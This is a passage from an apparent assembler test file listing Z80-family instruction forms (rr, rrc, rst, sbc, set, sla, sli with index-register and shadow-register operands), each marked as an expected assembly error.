(iy+127), e ; Error rr (iy+127), h ; Error rr (iy+127), l ; Error rr (iy-128) ; Error rr (iy-128), a ; Error rr (iy-128), b ; Error rr (iy-128), c ; Error rr (iy-128), d ; Error rr (iy-128), e ; Error rr (iy-128), h ; Error rr (iy-128), l ; Error rr a ; Error rr a' ; Error rr b ; Error rr b' ; Error rr c ; Error rr c' ; Error rr d ; Error rr d' ; Error rr de' ; Error rr e ; Error rr e' ; Error rr h ; Error rr h' ; Error rr hl' ; Error rr ix ; Error rr iy ; Error rr l ; Error rr l' ; Error rra' ; Error rrc (hl) ; Error rrc (ix) ; Error rrc (ix), a ; Error rrc (ix), b ; Error rrc (ix), c ; Error rrc (ix), d ; Error rrc (ix), e ; Error rrc (ix), h ; Error rrc (ix), l ; Error rrc (ix+127) ; Error rrc (ix+127), a ; Error rrc (ix+127), b ; Error rrc (ix+127), c ; Error rrc (ix+127), d ; Error rrc (ix+127), e ; Error rrc (ix+127), h ; Error rrc (ix+127), l ; Error rrc (ix-128) ; Error rrc (ix-128), a ; Error rrc (ix-128), b ; Error rrc (ix-128), c ; Error rrc (ix-128), d ; Error rrc (ix-128), e ; Error rrc (ix-128), h ; Error rrc (ix-128), l ; Error rrc (iy) ; Error rrc (iy), a ; Error rrc (iy), b ; Error rrc (iy), c ; Error rrc (iy), d ; Error rrc (iy), e ; Error rrc (iy), h ; Error rrc (iy), l ; Error rrc (iy+127) ; Error rrc (iy+127), a ; Error rrc (iy+127), b ; Error rrc (iy+127), c ; Error rrc (iy+127), d ; Error rrc (iy+127), e ; Error rrc (iy+127), h ; Error rrc (iy+127), l ; Error rrc (iy-128) ; Error rrc (iy-128), a ; Error rrc (iy-128), b ; Error rrc (iy-128), c ; Error rrc (iy-128), d ; Error rrc (iy-128), e ; Error rrc (iy-128), h ; Error rrc (iy-128), l ; Error rrc a ; Error rrc a' ; Error rrc b ; Error rrc b' ; Error rrc c ; Error rrc c' ; Error rrc d ; Error rrc d' ; Error rrc e ; Error rrc e' ; Error rrc h ; Error rrc h' ; Error rrc l ; Error rrc l' ; Error rrca' ; Error rst -1 ; Error rst -1 ; Error rst 10 ; Error rst 10 ; Error rst 11 ; Error rst 11 ; Error rst 12 ; Error rst 12 ; Error rst 13 ; Error rst 13 ; Error rst 14 ; Error rst 14 ; Error rst 15 ; Error rst 15 ; Error rst 17 ; Error rst 17 ; Error rst 18 ; Error rst 18 ; Error rst 19 ; Error rst 19 ; Error rst 20 ; Error rst 20 ; Error rst 21 ; Error rst 21 ; Error rst 22 ; Error rst 22 ; Error rst 23 ; Error rst 23 ; Error rst 25 ; Error rst 25 ; Error rst 26 ; Error rst 26 ; Error rst 27 ; Error rst 27 ; Error rst 28 ; Error rst 28 ; Error rst 29 ; Error rst 29 ; Error rst 30 ; Error rst 30 ; Error rst 31 ; Error rst 31 ; Error rst 33 ; Error rst 33 ; Error rst 34 ; Error rst 34 ; Error rst 35 ; Error rst 35 ; Error rst 36 ; Error rst 36 ; Error rst 37 ; Error rst 37 ; Error rst 38 ; Error rst 38 ; Error rst 39 ; Error rst 39 ; Error rst 41 ; Error rst 41 ; Error rst 42 ; Error rst 42 ; Error rst 43 ; Error rst 43 ; Error rst 44 ; Error rst 44 ; Error rst 45 ; Error rst 45 ; Error rst 46 ; Error rst 46 ; Error rst 47 ; Error rst 47 ; Error rst 49 ; Error rst 49 ; Error rst 50 ; Error rst 50 ; Error rst 51 ; Error rst 51 ; Error rst 52 ; Error rst 52 ; Error rst 53 ; Error rst 53 ; Error rst 54 ; Error rst 54 ; Error rst 55 ; Error rst 55 ; Error rst 57 ; Error rst 57 ; Error rst 58 ; Error rst 58 ; Error rst 59 ; Error rst 59 ; Error rst 60 ; Error rst 60 ; Error rst 61 ; Error rst 61 ; Error rst 62 ; Error rst 62 ; Error rst 63 ; Error rst 63 ; Error rst 64 ; Error rst 64 ; Error rst 9 ; Error rst 9 ; Error rstv ; Error sbc (ix) ; Error sbc (ix+127) ; Error sbc (ix-128) ; Error sbc (iy) ; Error sbc (iy+127) ; Error sbc (iy-128) ; Error sbc a', (hl) ; Error sbc a', (ix) ; Error sbc a', (ix+127) ; Error sbc a', (ix-128) ; Error sbc a', (iy) ; Error sbc a', (iy+127) ; Error sbc a', (iy-128) ; Error sbc a', -128 ; Error sbc a', 127 ; Error sbc a', 255 ; Error sbc a', a ; Error sbc a', b ; Error sbc a', c ; Error sbc a', d ; Error sbc a', e ; Error sbc a', h ; Error sbc a', l ; Error sbc a, (ix) ; Error sbc a, (ix+127) ; Error sbc a, (ix-128) ; Error sbc a, (iy) ; Error sbc a, (iy+127) ; Error sbc a, (iy-128) ; Error sbc a, ixh ; Error sbc a, ixl ; Error sbc a, iyh ; Error sbc a, iyl ; Error sbc hl', bc ; Error sbc hl', de ; Error sbc hl', hl ; Error sbc hl', sp ; Error sbc ixh ; Error sbc ixl ; Error sbc iyh ; Error sbc iyl ; Error scf' ; Error set -1, (hl) ; Error set -1, (hl) ; Error set -1, (ix) ; Error set -1, (ix) ; Error set -1, (ix), a ; Error set -1, (ix), a ; Error set -1, (ix), b ; Error set -1, (ix), b ; Error set -1, (ix), c ; Error set -1, (ix), c ; Error set -1, (ix), d ; Error set -1, (ix), d ; Error set -1, (ix), e ; Error set -1, (ix), e ; Error set -1, (ix), h ; Error set -1, (ix), h ; Error set -1, (ix), l ; Error set -1, (ix), l ; Error set -1, (ix+127) ; Error set -1, (ix+127) ; Error set -1, (ix+127), a ; Error set -1, (ix+127), a ; Error set -1, (ix+127), b ; Error set -1, (ix+127), b ; Error set -1, (ix+127), c ; Error set -1, (ix+127), c ; Error set -1, (ix+127), d ; Error set -1, (ix+127), d ; Error set -1, (ix+127), e ; Error set -1, (ix+127), e ; Error set -1, (ix+127), h ; Error set -1, (ix+127), h ; Error set -1, (ix+127), l ; Error set -1, (ix+127), l ; Error set -1, (ix-128) ; Error set -1, (ix-128) ; Error set -1, (ix-128), a ; Error set -1, (ix-128), a ; Error set -1, (ix-128), b ; Error set -1, (ix-128), b ; Error set -1, (ix-128), c ; Error set -1, (ix-128), c ; Error set -1, (ix-128), d ; Error set -1, (ix-128), d ; Error set -1, (ix-128), e ; Error set -1, (ix-128), e ; Error set -1, (ix-128), h ; Error set -1, (ix-128), h ; Error set -1, (ix-128), l ; Error set -1, (ix-128), l ; Error set -1, (iy) ; Error set -1, (iy) ; Error set -1, (iy), a ; Error set -1, (iy), a ; Error set -1, (iy), b ; Error set -1, (iy), b ; Error set -1, (iy), c ; Error set -1, (iy), c ; Error set -1, (iy), d ; Error set -1, (iy), d ; Error set -1, (iy), e ; Error set -1, (iy), e ; Error set -1, (iy), h ; Error set -1, (iy), h ; Error set -1, (iy), l ; Error set -1, (iy), l ; Error set -1, (iy+127) ; Error set -1, (iy+127) ; Error set -1, (iy+127), a ; Error set -1, (iy+127), a ; Error set -1, (iy+127), b ; Error set -1, (iy+127), b ; Error set -1, (iy+127), c ; Error set -1, (iy+127), c ; Error set -1, (iy+127), d ; Error set -1, (iy+127), d ; Error set -1, (iy+127), e ; Error set -1, (iy+127), e ; Error set -1, (iy+127), h ; Error set -1, (iy+127), h ; Error set -1, (iy+127), l ; Error set -1, (iy+127), l ; Error set -1, (iy-128) ; Error set -1, (iy-128) ; Error set -1, (iy-128), a ; Error set -1, (iy-128), a ; Error set -1, (iy-128), b ; Error set -1, (iy-128), b ; Error set -1, (iy-128), c ; Error set -1, (iy-128), c ; Error set -1, (iy-128), d ; Error set -1, (iy-128), d ; Error set -1, (iy-128), e ; Error set -1, (iy-128), e ; Error set -1, (iy-128), h ; Error set -1, (iy-128), h ; Error set -1, (iy-128), l ; Error set -1, (iy-128), l ; Error set -1, a ; Error set -1, a ; Error set -1, a' ; Error set -1, a' ; Error set -1, b ; Error set -1, b ; Error set -1, b' ; Error set -1, b' ; Error set -1, c ; Error set -1, c ; Error set -1, c' ; Error set -1, c' ; Error set -1, d ; Error set -1, d ; Error set -1, d' ; Error set -1, d' ; Error set -1, e ; Error set -1, e ; Error set -1, e' ; Error set -1, e' ; Error set -1, h ; Error set -1, h ; Error set -1, h' ; Error set -1, h' ; Error set -1, l ; Error set -1, l ; Error set -1, l' ; Error set -1, l' ; Error set 0, (hl) ; Error set 0, (ix) ; Error set 0, (ix), a ; Error set 0, (ix), b ; Error set 0, (ix), c ; Error set 0, (ix), d ; Error set 0, (ix), e ; Error set 0, (ix), h ; Error set 0, (ix), l ; Error set 0, (ix+127) ; Error set 0, (ix+127), a ; Error set 0, (ix+127), b ; Error set 0, (ix+127), c ; Error set 0, (ix+127), d ; Error set 0, (ix+127), e ; Error set 0, (ix+127), h ; Error set 0, (ix+127), l ; Error set 0, (ix-128) ; Error set 0, (ix-128), a ; Error set 0, (ix-128), b ; Error set 0, (ix-128), c ; Error set 0, (ix-128), d ; Error set 0, (ix-128), e ; Error set 0, (ix-128), h ; Error set 0, (ix-128), l ; Error set 0, (iy) ; Error set 0, (iy), a ; Error set 0, (iy), b ; Error set 0, (iy), c ; Error set 0, (iy), d ; Error set 0, (iy), e ; Error set 0, (iy), h ; Error set 0, (iy), l ; Error set 0, (iy+127) ; Error set 0, (iy+127), a ; Error set 0, (iy+127), b ; Error set 0, (iy+127), c ; Error set 0, (iy+127), d ; Error set 0, (iy+127), e ; Error set 0, (iy+127), h ; Error set 0, (iy+127), l ; Error set 0, (iy-128) ; Error set 0, (iy-128), a ; Error set 0, (iy-128), b ; Error set 0, (iy-128), c ; Error set 0, (iy-128), d ; Error set 0, (iy-128), e ; Error set 0, (iy-128), h ; Error set 0, (iy-128), l ; Error set 0, a ; Error set 0, a' ; Error set 0, b ; Error set 0, b' ; Error set 0, c ; Error set 0, c' ; Error set 0, d ; Error set 0, d' ; Error set 0, e ; Error set 0, e' ; Error set 0, h ; Error set 0, h' ; Error set 0, l ; Error set 0, l' ; Error set 1, (hl) ; Error set 1, (ix) ; Error set 1, (ix), a ; Error set 1, (ix), b ; Error set 1, (ix), c ; Error set 1, (ix), d ; Error set 1, (ix), e ; Error set 1, (ix), h ; Error set 1, (ix), l ; Error set 1, (ix+127) ; Error set 1, (ix+127), a ; Error set 1, (ix+127), b ; Error set 1, (ix+127), c ; Error set 1, (ix+127), d ; Error set 1, (ix+127), e ; Error set 1, (ix+127), h ; Error set 1, (ix+127), l ; Error set 1, (ix-128) ; Error set 1, (ix-128), a ; Error set 1, (ix-128), b ; Error set 1, (ix-128), c ; Error set 1, (ix-128), d ; Error set 1, (ix-128), e ; Error set 1, (ix-128), h ; Error set 1, (ix-128), l ; Error set 1, (iy) ; Error set 1, (iy), a ; Error set 1, (iy), b ; Error set 1, (iy), c ; Error set 1, (iy), d ; Error set 1, (iy), e ; Error set 1, (iy), h ; Error set 1, (iy), l ; Error set 1, (iy+127) ; Error set 1, (iy+127), a ; Error set 1, (iy+127), b ; Error set 1, (iy+127), c ; Error set 1, (iy+127), d ; Error set 1, (iy+127), e ; Error set 1, (iy+127), h ; Error set 1, (iy+127), l ; Error set 1, (iy-128) ; Error set 1, (iy-128), a ; Error set 1, (iy-128), b ; Error set 1, (iy-128), c ; Error set 1, (iy-128), d ; Error set 1, (iy-128), e ; Error set 1, (iy-128), h ; Error set 1, (iy-128), l ; Error set 1, a ; Error set 1, a' ; Error set 1, b ; Error set 1, b' ; Error set 1, c ; Error set 1, c' ; Error set 1, d ; Error set 1, d' ; Error set 1, e ; Error set 1, e' ; Error set 1, h ; Error set 1, h' ; Error set 1, l ; Error set 1, l' ; Error set 2, (hl) ; Error set 2, (ix) ; Error set 2, (ix), a ; Error set 2, (ix), b ; Error set 2, (ix), c ; Error set 2, (ix), d ; Error set 2, (ix), e ; Error set 2, (ix), h ; Error set 2, (ix), l ; Error set 2, (ix+127) ; Error set 2, (ix+127), a ; Error set 2, (ix+127), b ; Error set 2, (ix+127), c ; Error set 2, (ix+127), d ; Error set 2, (ix+127), e ; Error set 2, (ix+127), h ; Error set 2, (ix+127), l ; Error set 2, (ix-128) ; Error set 2, (ix-128), a ; Error set 2, (ix-128), b ; Error set 2, (ix-128), c ; Error set 2, (ix-128), d ; Error set 2, (ix-128), e ; Error set 2, (ix-128), h ; Error set 2, (ix-128), l ; Error set 2, (iy) ; Error set 2, (iy), a ; Error set 2, (iy), b ; Error set 2, (iy), c ; Error set 2, (iy), d ; Error set 2, (iy), e ; Error set 2, (iy), h ; Error set 2, (iy), l ; Error set 2, (iy+127) ; Error set 2, (iy+127), a ; Error set 2, (iy+127), b ; Error set 2, (iy+127), c ; Error set 2, (iy+127), d ; Error set 2, (iy+127), e ; Error set 2, (iy+127), h ; Error set 2, (iy+127), l ; Error set 2, (iy-128) ; Error set 2, (iy-128), a ; Error set 2, (iy-128), b ; Error set 2, (iy-128), c ; Error set 2, (iy-128), d ; Error set 2, (iy-128), e ; Error set 2, (iy-128), h ; Error set 2, (iy-128), l ; Error set 2, a ; Error set 2, a' ; Error set 2, b ; Error set 2, b' ; Error set 2, c ; Error set 2, c' ; Error set 2, d ; Error set 2, d' ; Error set 2, e ; Error set 2, e' ; Error set 2, h ; Error set 2, h' ; Error set 2, l ; Error set 2, l' ; Error set 3, (hl) ; Error set 3, (ix) ; Error set 3, (ix), a ; Error set 3, (ix), b ; Error set 3, (ix), c ; Error set 3, (ix), d ; Error set 3, (ix), e ; Error set 3, (ix), h ; Error set 3, (ix), l ; Error set 3, (ix+127) ; Error set 3, (ix+127), a ; Error set 3, (ix+127), b ; Error set 3, (ix+127), c ; Error set 3, (ix+127), d ; Error set 3, (ix+127), e ; Error set 3, (ix+127), h ; Error set 3, (ix+127), l ; Error set 3, (ix-128) ; Error set 3, (ix-128), a ; Error set 3, (ix-128), b ; Error set 3, (ix-128), c ; Error set 3, (ix-128), d ; Error set 3, (ix-128), e ; Error set 3, (ix-128), h ; Error set 3, (ix-128), l ; Error set 3, (iy) ; Error set 3, (iy), a ; Error set 3, (iy), b ; Error set 3, (iy), c ; Error set 3, (iy), d ; Error set 3, (iy), e ; Error set 3, (iy), h ; Error set 3, (iy), l ; Error set 3, (iy+127) ; Error set 3, (iy+127), a ; Error set 3, (iy+127), b ; Error set 3, (iy+127), c ; Error set 3, (iy+127), d ; Error set 3, (iy+127), e ; Error set 3, (iy+127), h ; Error set 3, (iy+127), l ; Error set 3, (iy-128) ; Error set 3, (iy-128), a ; Error set 3, (iy-128), b ; Error set 3, (iy-128), c ; Error set 3, (iy-128), d ; Error set 3, (iy-128), e ; Error set 3, (iy-128), h ; Error set 3, (iy-128), l ; Error set 3, a ; Error set 3, a' ; Error set 3, b ; Error set 3, b' ; Error set 3, c ; Error set 3, c' ; Error set 3, d ; Error set 3, d' ; Error set 3, e ; Error set 3, e' ; Error set 3, h ; Error set 3, h' ; Error set 3, l ; Error set 3, l' ; Error set 4, (hl) ; Error set 4, (ix) ; Error set 4, (ix), a ; Error set 4, (ix), b ; Error set 4, (ix), c ; Error set 4, (ix), d ; Error set 4, (ix), e ; Error set 4, (ix), h ; Error set 4, (ix), l ; Error set 4, (ix+127) ; Error set 4, (ix+127), a ; Error set 4, (ix+127), b ; Error set 4, (ix+127), c ; Error set 4, (ix+127), d ; Error set 4, (ix+127), e ; Error set 4, (ix+127), h ; Error set 4, (ix+127), l ; Error set 4, (ix-128) ; Error set 4, (ix-128), a ; Error set 4, (ix-128), b ; Error set 4, (ix-128), c ; Error set 4, (ix-128), d ; Error set 4, (ix-128), e ; Error set 4, (ix-128), h ; Error set 4, (ix-128), l ; Error set 4, (iy) ; Error set 4, (iy), a ; Error set 4, (iy), b ; Error set 4, (iy), c ; Error set 4, (iy), d ; Error set 4, (iy), e ; Error set 4, (iy), h ; Error set 4, (iy), l ; Error set 4, (iy+127) ; Error set 4, (iy+127), a ; Error set 4, (iy+127), b ; Error set 4, (iy+127), c ; Error set 4, (iy+127), d ; Error set 4, (iy+127), e ; Error set 4, (iy+127), h ; Error set 4, (iy+127), l ; Error set 4, (iy-128) ; Error set 4, (iy-128), a ; Error set 4, (iy-128), b ; Error set 4, (iy-128), c ; Error set 4, (iy-128), d ; Error set 4, (iy-128), e ; Error set 4, (iy-128), h ; Error set 4, (iy-128), l ; Error set 4, a ; Error set 4, a' ; Error set 4, b ; Error set 4, b' ; Error set 4, c ; Error set 4, c' ; Error set 4, d ; Error set 4, d' ; Error set 4, e ; Error set 4, e' ; Error set 4, h ; Error set 4, h' ; Error set 4, l ; Error set 4, l' ; Error set 5, (hl) ; Error set 5, (ix) ; Error set 5, (ix), a ; Error set 5, (ix), b ; Error set 5, (ix), c ; Error set 5, (ix), d ; Error set 5, (ix), e ; Error set 5, (ix), h ; Error set 5, (ix), l ; Error set 5, (ix+127) ; Error set 5, (ix+127), a ; Error set 5, (ix+127), b ; Error set 5, (ix+127), c ; Error set 5, (ix+127), d ; Error set 5, (ix+127), e ; Error set 5, (ix+127), h ; Error set 5, (ix+127), l ; Error set 5, (ix-128) ; Error set 5, (ix-128), a ; Error set 5, (ix-128), b ; Error set 5, (ix-128), c ; Error set 5, (ix-128), d ; Error set 5, (ix-128), e ; Error set 5, (ix-128), h ; Error set 5, (ix-128), l ; Error set 5, (iy) ; Error set 5, (iy), a ; Error set 5, (iy), b ; Error set 5, (iy), c ; Error set 5, (iy), d ; Error set 5, (iy), e ; Error set 5, (iy), h ; Error set 5, (iy), l ; Error set 5, (iy+127) ; Error set 5, (iy+127), a ; Error set 5, (iy+127), b ; Error set 5, (iy+127), c ; Error set 5, (iy+127), d ; Error set 5, (iy+127), e ; Error set 5, (iy+127), h ; Error set 5, (iy+127), l ; Error set 5, (iy-128) ; Error set 5, (iy-128), a ; Error set 5, (iy-128), b ; Error set 5, (iy-128), c ; Error set 5, (iy-128), d ; Error set 5, (iy-128), e ; Error set 5, (iy-128), h ; Error set 5, (iy-128), l ; Error set 5, a ; Error set 5, a' ; Error set 5, b ; Error set 5, b' ; Error set 5, c ; Error set 5, c' ; Error set 5, d ; Error set 5, d' ; Error set 5, e ; Error set 5, e' ; Error set 5, h ; Error set 5, h' ; Error set 5, l ; Error set 5, l' ; Error set 6, (hl) ; Error set 6, (ix) ; Error set 6, (ix), a ; Error set 6, (ix), b ; Error set 6, (ix), c ; Error set 6, (ix), d ; Error set 6, (ix), e ; Error set 6, (ix), h ; Error set 6, (ix), l ; Error set 6, (ix+127) ; Error set 6, (ix+127), a ; Error set 6, (ix+127), b ; Error set 6, (ix+127), c ; Error set 6, (ix+127), d ; Error set 6, (ix+127), e ; Error set 6, (ix+127), h ; Error set 6, (ix+127), l ; Error set 6, (ix-128) ; Error set 6, (ix-128), a ; Error set 6, (ix-128), b ; Error set 6, (ix-128), c ; Error set 6, (ix-128), d ; Error set 6, (ix-128), e ; Error set 6, (ix-128), h ; Error set 6, (ix-128), l ; Error set 6, (iy) ; Error set 6, (iy), a ; Error set 6, (iy), b ; Error set 6, (iy), c ; Error set 6, (iy), d ; Error set 6, (iy), e ; Error set 6, (iy), h ; Error set 6, (iy), l ; Error set 6, (iy+127) ; Error set 6, (iy+127), a ; Error set 6, (iy+127), b ; Error set 6, (iy+127), c ; Error set 6, (iy+127), d ; Error set 6, (iy+127), e ; Error set 6, (iy+127), h ; Error set 6, (iy+127), l ; Error set 6, (iy-128) ; Error set 6, (iy-128), a ; Error set 6, (iy-128), b ; Error set 6, (iy-128), c ; Error set 6, (iy-128), d ; Error set 6, (iy-128), e ; Error set 6, (iy-128), h ; Error set 6, (iy-128), l ; Error set 6, a ; Error set 6, a' ; Error set 6, b ; Error set 6, b' ; Error set 6, c ; Error set 6, c' ; Error set 6, d ; Error set 6, d' ; Error set 6, e ; Error set 6, e' ; Error set 6, h ; Error set 6, h' ; Error set 6, l ; Error set 6, l' ; Error set 7, (hl) ; Error set 7, (ix) ; Error set 7, (ix), a ; Error set 7, (ix), b ; Error set 7, (ix), c ; Error set 7, (ix), d ; Error set 7, (ix), e ; Error set 7, (ix), h ; Error set 7, (ix), l ; Error set 7, (ix+127) ; Error set 7, (ix+127), a ; Error set 7, (ix+127), b ; Error set 7, (ix+127), c ; Error set 7, (ix+127), d ; Error set 7, (ix+127), e ; Error set 7, (ix+127), h ; Error set 7, (ix+127), l ; Error set 7, (ix-128) ; Error set 7, (ix-128), a ; Error set 7, (ix-128), b ; Error set 7, (ix-128), c ; Error set 7, (ix-128), d ; Error set 7, (ix-128), e ; Error set 7, (ix-128), h ; Error set 7, (ix-128), l ; Error set 7, (iy) ; Error set 7, (iy), a ; Error set 7, (iy), b ; Error set 7, (iy), c ; Error set 7, (iy), d ; Error set 7, (iy), e ; Error set 7, (iy), h ; Error set 7, (iy), l ; Error set 7, (iy+127) ; Error set 7, (iy+127), a ; Error set 7, (iy+127), b ; Error set 7, (iy+127), c ; Error set 7, (iy+127), d ; Error set 7, (iy+127), e ; Error set 7, (iy+127), h ; Error set 7, (iy+127), l ; Error set 7, (iy-128) ; Error set 7, (iy-128), a ; Error set 7, (iy-128), b ; Error set 7, (iy-128), c ; Error set 7, (iy-128), d ; Error set 7, (iy-128), e ; Error set 7, (iy-128), h ; Error set 7, (iy-128), l ; Error set 7, a ; Error set 7, a' ; Error set 7, b ; Error set 7, b' ; Error set 7, c ; Error set 7, c' ; Error set 7, d ; Error set 7, d' ; Error set 7, e ; Error set 7, e' ; Error set 7, h ; Error set 7, h' ; Error set 7, l ; Error set 7, l' ; Error set 8, (hl) ; Error set 8, (hl) ; Error set 8, (ix) ; Error set 8, (ix) ; Error set 8, (ix), a ; Error set 8, (ix), a ; Error set 8, (ix), b ; Error set 8, (ix), b ; Error set 8, (ix), c ; Error set 8, (ix), c ; Error set 8, (ix), d ; Error set 8, (ix), d ; Error set 8, (ix), e ; Error set 8, (ix), e ; Error set 8, (ix), h ; Error set 8, (ix), h ; Error set 8, (ix), l ; Error set 8, (ix), l ; Error set 8, (ix+127) ; Error set 8, (ix+127) ; Error set 8, (ix+127), a ; Error set 8, (ix+127), a ; Error set 8, (ix+127), b ; Error set 8, (ix+127), b ; Error set 8, (ix+127), c ; Error set 8, (ix+127), c ; Error set 8, (ix+127), d ; Error set 8, (ix+127), d ; Error set 8, (ix+127), e ; Error set 8, (ix+127), e ; Error set 8, (ix+127), h ; Error set 8, (ix+127), h ; Error set 8, (ix+127), l ; Error set 8, (ix+127), l ; Error set 8, (ix-128) ; Error set 8, (ix-128) ; Error set 8, (ix-128), a ; Error set 8, (ix-128), a ; Error set 8, (ix-128), b ; Error set 8, (ix-128), b ; Error set 8, (ix-128), c ; Error set 8, (ix-128), c ; Error set 8, (ix-128), d ; Error set 8, (ix-128), d ; Error set 8, (ix-128), e ; Error set 8, (ix-128), e ; Error set 8, (ix-128), h ; Error set 8, (ix-128), h ; Error set 8, (ix-128), l ; Error set 8, (ix-128), l ; Error set 8, (iy) ; Error set 8, (iy) ; Error set 8, (iy), a ; Error set 8, (iy), a ; Error set 8, (iy), b ; Error set 8, (iy), b ; Error set 8, (iy), c ; Error set 8, (iy), c ; Error set 8, (iy), d ; Error set 8, (iy), d ; Error set 8, (iy), e ; Error set 8, (iy), e ; Error set 8, (iy), h ; Error set 8, (iy), h ; Error set 8, (iy), l ; Error set 8, (iy), l ; Error set 8, (iy+127) ; Error set 8, (iy+127) ; Error set 8, (iy+127), a ; Error set 8, (iy+127), a ; Error set 8, (iy+127), b ; Error set 8, (iy+127), b ; Error set 8, (iy+127), c ; Error set 8, (iy+127), c ; Error set 8, (iy+127), d ; Error set 8, (iy+127), d ; Error set 8, (iy+127), e ; Error set 8, (iy+127), e ; Error set 8, (iy+127), h ; Error set 8, (iy+127), h ; Error set 8, (iy+127), l ; Error set 8, (iy+127), l ; Error set 8, (iy-128) ; Error set 8, (iy-128) ; Error set 8, (iy-128), a ; Error set 8, (iy-128), a ; Error set 8, (iy-128), b ; Error set 8, (iy-128), b ; Error set 8, (iy-128), c ; Error set 8, (iy-128), c ; Error set 8, (iy-128), d ; Error set 8, (iy-128), d ; Error set 8, (iy-128), e ; Error set 8, (iy-128), e ; Error set 8, (iy-128), h ; Error set 8, (iy-128), h ; Error set 8, (iy-128), l ; Error set 8, (iy-128), l ; Error set 8, a ; Error set 8, a ; Error set 8, a' ; Error set 8, a' ; Error set 8, b ; Error set 8, b ; Error set 8, b' ; Error set 8, b' ; Error set 8, c ; Error set 8, c ; Error set 8, c' ; Error set 8, c' ; Error set 8, d ; Error set 8, d ; Error set 8, d' ; Error set 8, d' ; Error set 8, e ; Error set 8, e ; Error set 8, e' ; Error set 8, e' ; Error set 8, h ; Error set 8, h ; Error set 8, h' ; Error set 8, h' ; Error set 8, l ; Error set 8, l ; Error set 8, l' ; Error set 8, l' ; Error set.a -1, (hl) ; Error set.a -1, (hl) ; Error set.a -1, (ix) ; Error set.a -1, (ix) ; Error set.a -1, (ix+127) ; Error set.a -1, (ix+127) ; Error set.a -1, (ix-128) ; Error set.a -1, (ix-128) ; Error set.a -1, (iy) ; Error set.a -1, (iy) ; Error set.a -1, (iy+127) ; Error set.a -1, (iy+127) ; Error set.a -1, (iy-128) ; Error set.a -1, (iy-128) ; Error set.a -1, a ; Error set.a -1, a ; Error set.a -1, b ; Error set.a -1, b ; Error set.a -1, c ; Error set.a -1, c ; Error set.a -1, d ; Error set.a -1, d ; Error set.a -1, e ; Error set.a -1, e ; Error set.a -1, h ; Error set.a -1, h ; Error set.a -1, l ; Error set.a -1, l ; Error set.a 0, (ix) ; Error set.a 0, (ix+127) ; Error set.a 0, (ix-128) ; Error set.a 0, (iy) ; Error set.a 0, (iy+127) ; Error set.a 0, (iy-128) ; Error set.a 1, (ix) ; Error set.a 1, (ix+127) ; Error set.a 1, (ix-128) ; Error set.a 1, (iy) ; Error set.a 1, (iy+127) ; Error set.a 1, (iy-128) ; Error set.a 2, (ix) ; Error set.a 2, (ix+127) ; Error set.a 2, (ix-128) ; Error set.a 2, (iy) ; Error set.a 2, (iy+127) ; Error set.a 2, (iy-128) ; Error set.a 3, (ix) ; Error set.a 3, (ix+127) ; Error set.a 3, (ix-128) ; Error set.a 3, (iy) ; Error set.a 3, (iy+127) ; Error set.a 3, (iy-128) ; Error set.a 4, (ix) ; Error set.a 4, (ix+127) ; Error set.a 4, (ix-128) ; Error set.a 4, (iy) ; Error set.a 4, (iy+127) ; Error set.a 4, (iy-128) ; Error set.a 5, (ix) ; Error set.a 5, (ix+127) ; Error set.a 5, (ix-128) ; Error set.a 5, (iy) ; Error set.a 5, (iy+127) ; Error set.a 5, (iy-128) ; Error set.a 6, (ix) ; Error set.a 6, (ix+127) ; Error set.a 6, (ix-128) ; Error set.a 6, (iy) ; Error set.a 6, (iy+127) ; Error set.a 6, (iy-128) ; Error set.a 7, (ix) ; Error set.a 7, (ix+127) ; Error set.a 7, (ix-128) ; Error set.a 7, (iy) ; Error set.a 7, (iy+127) ; Error set.a 7, (iy-128) ; Error set.a 8, (hl) ; Error set.a 8, (hl) ; Error set.a 8, (ix) ; Error set.a 8, (ix) ; Error set.a 8, (ix+127) ; Error set.a 8, (ix+127) ; Error set.a 8, (ix-128) ; Error set.a 8, (ix-128) ; Error set.a 8, (iy) ; Error set.a 8, (iy) ; Error set.a 8, (iy+127) ; Error set.a 8, (iy+127) ; Error set.a 8, (iy-128) ; Error set.a 8, (iy-128) ; Error set.a 8, a ; Error set.a 8, a ; Error set.a 8, b ; Error set.a 8, b ; Error set.a 8, c ; Error set.a 8, c ; Error set.a 8, d ; Error set.a 8, d ; Error set.a 8, e ; Error set.a 8, e ; Error set.a 8, h ; Error set.a 8, h ; Error set.a 8, l ; Error set.a 8, l ; Error setae ; Error setusr ; Error shlde ; Error shlx ; Error sim ; Error sla (hl) ; Error sla (ix) ; Error sla (ix), a ; Error sla (ix), b ; Error sla (ix), c ; Error sla (ix), d ; Error sla (ix), e ; Error sla (ix), h ; Error sla (ix), l ; Error sla (ix+127) ; Error sla (ix+127), a ; Error sla (ix+127), b ; Error sla (ix+127), c ; Error sla (ix+127), d ; Error sla (ix+127), e ; Error sla (ix+127), h ; Error sla (ix+127), l ; Error sla (ix-128) ; Error sla (ix-128), a ; Error sla (ix-128), b ; Error sla (ix-128), c ; Error sla (ix-128), d ; Error sla (ix-128), e ; Error sla (ix-128), h ; Error sla (ix-128), l ; Error sla (iy) ; Error sla (iy), a ; Error sla (iy), b ; Error sla (iy), c ; Error sla (iy), d ; Error sla (iy), e ; Error sla (iy), h ; Error sla (iy), l ; Error sla (iy+127) ; Error sla (iy+127), a ; Error sla (iy+127), b ; Error sla (iy+127), c ; Error sla (iy+127), d ; Error sla (iy+127), e ; Error sla (iy+127), h ; Error sla (iy+127), l ; Error sla (iy-128) ; Error sla (iy-128), a ; Error sla (iy-128), b ; Error sla (iy-128), c ; Error sla (iy-128), d ; Error sla (iy-128), e ; Error sla (iy-128), h ; Error sla (iy-128), l ; Error sla a ; Error sla a' ; Error sla b ; Error sla b' ; Error sla c ; Error sla c' ; Error sla d ; Error sla d' ; Error sla e ; Error sla e' ; Error sla h ; Error sla h' ; Error sla l ; Error sla l' ; Error sli (hl) ; Error sli (ix) ; Error sli (ix), a ; Error sli (ix), b ; Error sli (ix), c ; Error sli (ix), d ; Error sli (ix), e ; Error sli (ix), h ; Error sli (ix), l ; Error sli (ix+127) ; Error sli (ix+127), a ; Error sli (ix+127), b ; Error sli (ix+127), c ; Error sli (ix+127), d ; Error sli (ix+127), e ; Error sli (ix+127), h ; Error sli (ix+127), l ; Error sli (ix-128) ; Error sli (ix-128), a ; Error sli (ix-128), b ; Error sli (ix-128), c ; Error sli (ix-128), d ; Error sli (ix-128), e ; Error sli (ix-128), h ; Error sli (ix-128), l ; Error sli (iy) ; Error sli (iy), a ; Error sli (iy), b ; Error sli (iy), c ; Error sli (iy), d ; Error sli (iy), e ; Error sli (iy), h ; Error sli 